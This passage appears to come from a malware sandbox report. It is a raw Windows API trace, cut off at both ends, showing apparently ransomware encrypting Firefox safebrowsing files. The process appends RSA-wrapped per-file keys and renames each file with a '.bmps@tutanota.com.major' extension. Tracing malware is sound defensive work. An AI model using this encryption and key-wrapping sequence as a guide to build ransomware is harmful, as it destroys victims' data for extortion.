lpNumberOfBytesRead=0x2e3f9b4*=0x4b542, lpOverlapped=0x0) returned 1 [0242.039] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-308546, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.039] WriteFile (in: hFile=0x1a54, lpBuffer=0x3440568*, nNumberOfBytesToWrite=0x4b542, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440568*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4b542, lpOverlapped=0x0) returned 1 [0242.040] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4b542 [0242.040] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.040] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.040] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.041] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.041] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.041] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sO917A1lyeO+9nibI2CY+coF3fFWchwpKJSP+lxyzjUFyOKZKPEgRitae+S5K4O5\nP8QBCgJnl00Z1cfRnCVYASZHLWNmTq38ejvKN8L3fOpoXOaw9Qxcd3ZuXzp725mX\nRmHzOUbwWG/OItehDnAZuRbgSqYVYPLfc/CRFjXhCFnuoMCogF9XJnb/SxH49WJW\nE65oAfb22pC++er3Ks5OGrfY09j33oh4DWbc+VqtCzc6+PEQqmw8HX5hZPywv8x7\n2LYpOzoCHDTwZNXZTLk6QcdSPFOUbBKoIx3CYiGm931UBNb+Zn+ygFUotdNBxBjz\np4iSKRlu/8DTevl3UFFxtQ==\n", pcchString=0x2e3f9a8) returned 1 [0242.041] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.041] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.041] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.041] CloseHandle (hObject=0x1a54) returned 1 [0242.041] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.072] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.072] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset", dwFileAttributes=0x80) returned 1 [0242.073] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.073] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=331064) returned 1 [0242.073] ReadFile (in: hFile=0x1a54, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x50d38, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x50d38, lpOverlapped=0x0) returned 1 [0242.091] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-331064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.091] WriteFile (in: hFile=0x1a54, lpBuffer=0x3445d58*, nNumberOfBytesToWrite=0x50d38, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3445d58*, lpNumberOfBytesWritten=0x2e3f9b4*=0x50d38, lpOverlapped=0x0) returned 1 [0242.092] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x50d38 [0242.092] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.092] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.092] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.092] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.092] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.092] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oEYMXZ1cJeB4GC9ZRZqUEZqtm+4dMRGrs+4wCNKCd1wYtB/hdaB3pCqtFkerhsVx\n2qji33r5ANt0ZP0Igx8tbKQLAgCvEzuERwcdiI6VEIM1K/5EJGu/GWC+hY+++Ffc\n7q+MacgyaQSVMvB7RSMvbActodBej2j4/5W8jiiJ/Dp13L+wP7cqA7mGtxR3QQ8k\nMy6US5ToY9/81x/kFddKPgjQX463jQ6MmE5IgimhkmqkT+gjtnr9YOT7I25O3RPz\nkt6+e4g3NVdOCqoihuasnS65hohpHnx6GwAgV8mFOS0KAAPYsV/ADbOQoNdYPp1R\n7jRd8Lo2IWpAFrFGCMjjgQ==\n", pcchString=0x2e3f9a8) returned 1 [0242.092] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.092] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.092] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.092] CloseHandle (hObject=0x1a54) returned 1 [0242.093] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.094] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.094] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore", dwFileAttributes=0x80) returned 1 [0242.095] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.095] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=556418) returned 1 [0242.096] ReadFile (in: hFile=0x1a54, lpBuffer=0x679020, nNumberOfBytesToRead=0x87d82, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x679020*, lpNumberOfBytesRead=0x2e3f9b4*=0x87d82, lpOverlapped=0x0) returned 1 [0242.120] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-556418, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.120] WriteFile (in: hFile=0x1a54, lpBuffer=0x718020*, nNumberOfBytesToWrite=0x87d82, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x718020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x87d82, lpOverlapped=0x0) returned 1 [0242.122] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x87d82 [0242.122] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.122] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.122] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.122] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.122] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.122] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/k8wk/tRBmAkgkeSd79vP7ztTt6Df/kWgeYQPwOFcdvyQT2SKSP/czNC/UxkxZ4x\n2oK7x+cU/PK3Gu089+cDwrFnLJH7Z92G0d+Ltl4Vzpb3l+D2zZslBH11o8tnHcN9\n8nrzxfljwsjOC7hagcYilxCRiA9N2VWpDlYcBOb/S9GuroZGKv61V3EKLXgF7wGN\nEV1TCcrvrj4CE4LHic8KV3VAA35X8t0H2G6xbrpJ2s2pgThRKLvhMQGU7W+UMaiI\nuFmOwctKlmVdg1W9C5WVR7IDeDqsrG9QqZce9ferRksDz9BwVmPpQj2CcXnJBfe8\ncNqqUyMOSuWTwm9aAhkiQg==\n", pcchString=0x2e3f9a8) returned 1 [0242.122] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.122] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.122] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.123] CloseHandle (hObject=0x1a54) returned 1 [0242.123] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.125] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.125] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset", dwFileAttributes=0x80) returned 1 [0242.125] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.126] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=373774) returned 1 [0242.126] ReadFile (in: hFile=0x1a54, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x5b40e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x5b40e, lpOverlapped=0x0) returned 1 [0242.208] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-373774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.209] WriteFile (in: hFile=0x1a54, lpBuffer=0x3450430*, nNumberOfBytesToWrite=0x5b40e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3450430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5b40e, lpOverlapped=0x0) returned 1 [0242.210] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5b40e [0242.210] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.210] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.210] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.211] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.211] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.211] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TKh7/TpX10YW4ijN/FWm/PjqhuATtMBj/XhyjdxZlCAfPqzNugCaIHykvE86ag4e\nEtP+4Hs4p53YJ/qpkywWOUiQyTVXpk4wZcrdnpBVkTaPfwnhv/EVzmcAlj20ZfWm\nK0ks6Pb2vw1gyF4lelYfTM3/wmVb3vkPIjPimKA+d0/ALTEP5cYQIPlzwNv4qhac\nYYiCVCOneGVnozzR7m88OWKyORA0PP1FzY6/dvl6D+5oCBov/5Ya3Tq+XpCE7AD+\nqfJollhfbZvQ6UHu0m2ODveCv+SEa3/oaXRMmBx666JwukguAzlfBWvvEXdGwRbr\nEIrAU3t3/MYUrQj9MS0dbA==\n", pcchString=0x2e3f9a8) returned 1 [0242.211] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.211] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.211] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.211] CloseHandle (hObject=0x1a54) returned 1 [0242.212] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.214] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.214] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0242.214] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.215] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=19948) returned 1 [0242.215] ReadFile (in: hFile=0x1a54, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x4dec, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x4dec, lpOverlapped=0x0) returned 1 [0242.217] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-19948, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.217] WriteFile (in: hFile=0x1a54, lpBuffer=0x33f5018*, nNumberOfBytesToWrite=0x4dec, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4dec, lpOverlapped=0x0) returned 1 [0242.217] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4dec [0242.217] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.217] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.217] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.217] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="iR7qXNPsW5duOXGmGY4xN+zLaBtl+kCLsWaFp+C5EL+np5VzvGKWW7FYg7DtSw1X\nMzV87SW4HxYsuuGsaKHI1hWaDFVPotv4wkw3GGk12t95Z43JPs5WG8bTa7x+8ZFz\nsP3RnZX5Z22K5xnyyJKPftFtWpQBjtwh0Dw9kfvvwceOIGHSLlRdpb/Qm0IIxAah\nTc3rqWpWbi+I7YyqCLuhkbRQrzszuW0ydZfQMulJZi435t5dwOBgcI15BaphjdYs\n16lczaH2RQcRcL9SkEpNOiIWCCtqNcQPFAdxRWfgrJ78anJPckEEJpV6cFFn7Qyn\n5q04CC8mWldiPGvxX7DnOw==\n", pcchString=0x2e3f9a8) returned 1 [0242.218] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.218] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.218] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.218] CloseHandle (hObject=0x1a54) returned 1 [0242.218] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.220] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.220] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset", dwFileAttributes=0x80) returned 1 [0242.221] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.221] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0242.221] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40528, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40528*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.222] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.222] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40468*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40468*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.222] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0242.222] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.222] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.222] CryptEncrypt (in: 